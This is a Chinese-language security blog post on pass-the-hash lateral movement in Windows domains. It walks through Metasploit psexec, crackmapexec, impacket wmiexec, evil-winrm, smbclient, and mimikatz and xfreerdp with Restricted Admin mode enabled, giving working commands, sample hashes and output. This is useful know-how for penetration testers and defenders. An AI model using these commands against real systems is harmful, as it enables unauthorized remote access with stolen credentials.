Hash传递(PtH)的多种姿势

admin 2022年1月22日16:41:08评论442 views字数 4034阅读13分26秒阅读模式

前言

这篇文章建立在已经打入内网且获取到hash的基础上 所以这里不纠结 什么方式获取hash 什么方式提权

Hash传递(PtH)的多种姿势

平常的hash传递

先列出三个常见的hash传递且不过多说明

PSEXEC

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(psexec) > set SMBPass 2e42b86369b2f6374bbd4065b6a24b43:193e224425f7e671d9ad87b14b517991
SMBPass => 2e42b86369b2f6374bbd4065b6a24b43:193e224425f7e671d9ad87b14b517991
msf6 exploit(psexec) > run

Hash传递(PtH)的多种姿势

CME

使用crackmapexec实现hash传递

crackmapexec  smb 10.10.10.165 -u administrator -H 193e224425f7e671d9ad87b14b517991 -d domain.local         
SMB 10.10.10.165 445 DC [*] Windows Server 2016 Standard 14393 x64 (name:DC) (domain:attack) (signing:True)(SMBv1:True)
SMB 10.10.10.165 445 DC [+] attackadministrator 193e224425f7e671d9ad87b14b517991 (Pwn3d!)

Hash传递(PtH)的多种姿势

IMPACKET

Impacket,使用wmiexec.py

python wmiexec.py domain.local/[email protected] -hashes 2e42b86369b2f6374bbd4065b6a24b43:193e224425f7e671d9ad87b14b517991
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:>

Hash传递(PtH)的多种姿势

WinRM实现hash传递

Windows远程管理(WinRM),它是除WMI和其他类似协议外的远程管理计算机的方式 使用端口 5985(HTTP) 或 5986(HTTPS) 允许不同厂商的硬件和操作系统进行互操作 属于防火墙友好协议(firewall-friendly protocol) 默认情况下支持Kerberos 和 NTLM 身份验证以及基本身份验证,在有本地管理员权限时可使用。

若发现SMB未打开,或平常工具无法成功利用可以尝试这个WinRM协议

CrackMapExec、evil-winrm等许多其他的工具都可利用协议进行hash传递

先看看域控上此协议的开放情况

Hash传递(PtH)的多种姿势

可知此时的WinRM服务仅接受HTTP的连接,并且未启用加密

可参考: https://pentestlab.blog/2018/05/15/lateral-movement-winrm/  此文章分别介绍了WinRS、Metaspolit、Empire对该服务的利用方式

此处使用evil-winrm(没用过 所以试试),听说用它传递hash很容易

ruby evil-winrm.rb -i 10.10.10.165 -u user -H 193e224425f7e671d9ad87b14b517991
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UsersuserDocuments>

Hash传递(PtH)的多种姿势

参考:

https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/ 尝试使用.NET C构建自己的POC WINRM 远程命令执行工具

evil-winrm: https://github.com/Hackplayers/evil-winrm

RDP实现hash传递

对远程桌面协议本身进行哈希传递攻击,优点是远程控制不需要用明文密码了 只需要收集到NTLM hash便可尝试远程登录,缺点是它的利用取决于受限管理模式是否开启,受限管理模式是从Windows8.1和Server 2012 R2开始引入的,它可防止 RDP用户的凭证存储在 跟RDP建立连接的计算机内存中,防止用户(通常为管理员)被读取内存中的凭证。受限制的管理员会更改远程桌面协议,将对交互式登录进行身份验证转变为对网络登录进行身份验证,在这个保护下,RDP会话将不需要提供关联密码,但要用NT hash或Kerberos票证进行身份验证。

适用系统:

  • Windows 8.1和Windows Server 2012 R2默认支持该功能
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁kb2871997、kb2973351

xfreerdp工具可以通过RDP协议传递hash,跟上述一样 在系统启用受限管理模式(the system has Restricted Admin)为前提条件才能传递hash,未启用时会报出"Account Restrictions are preventing this user from signing in."的错误,在默认情况下受限管理模式(the system has Restricted Admin)是禁用的,但是当我们对系统有任何级别的管理员权限或SMB/WinRM/等的访问权限,都可以启用这个模式。

# 安装xfreerdp
apt-get update
apt-get install freerdp2-x11
# 注册表修改
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin" # 查看是否成功开启

# 通过CrackMapExec启用受限管理模式
crackmapexec smb 10.10.10.165 -u administrator -H 193e224425f7e671d9ad87b14b517991 -x 'reg add HKLMSystemCurrentControlSetControlLsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
SMB 10.10.10.165 445 DESKTOP [*] Windows 10.0 Build 18362 x64 (name:DESKTOP) (domain:DESKTOP) (signing:False) (SMBv1:False)
SMB 10.10.10.165 445 DESKTOP [+] DESKTOPAdministrator 8846F7EAEE8FB117AD06BDD830B7586C (Pwn3d!)
SMB 10.10.10.165 445 DESKTOP [+] Executed command
SMB 10.10.10.165 445 DESKTOP The operation completed successfully.

Hash传递(PtH)的多种姿势

设置注册表项后,可以使用 xfreerdp传递哈希

# xfreerdp利用
xfreerdp /v:10.10.10.165 /u:administrator /pth:193e224425f7e671d9ad87b14b517991

# mimikatz利用
privilege::debug
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:193e224425f7e671d9ad87b14b517991 "/run:mstsc.exe /restrictedadmin"

Hash传递(PtH)的多种姿势

Hash传递(PtH)的多种姿势

参考:

xfreerdp:

https://linux.die.net/man/1/xfreerdp

https://www.kali.org/blog/passing-hash-remote-desktop/

受限管理模式:

https://labs.f-secure.com/blog/undisable/

smbclient实现hash传递

smbclient是一个类似 FTP 的客户端,用于与 SMB/CIFS 资源进行交互。-pw-nt-hash可以传递hash

当我们处于非管理员权限 没有对系统的管理访问权 当打进一个内网主机且导出了hash时 导出的某个hash的账户没有管理权限(假设这个账户是属于Finance部门的用户user),但是可以访问文件服务器上的数据 可以尝试利用smbclient传递hash来登录该文件服务器

smbclient //10.10.10.165/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
Try "help" to get a list of possible commands.
smb: >

smbclient: https://www.samba.org/samba/docs/current/man-html/smbclient.1.html

原文始发于微信公众号(渗透安全团队):Hash传递(PtH)的多种姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月22日16:41:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hash传递(PtH)的多种姿势http://cn-sec.com/archives/745930.html

发表评论

匿名网友 填写信息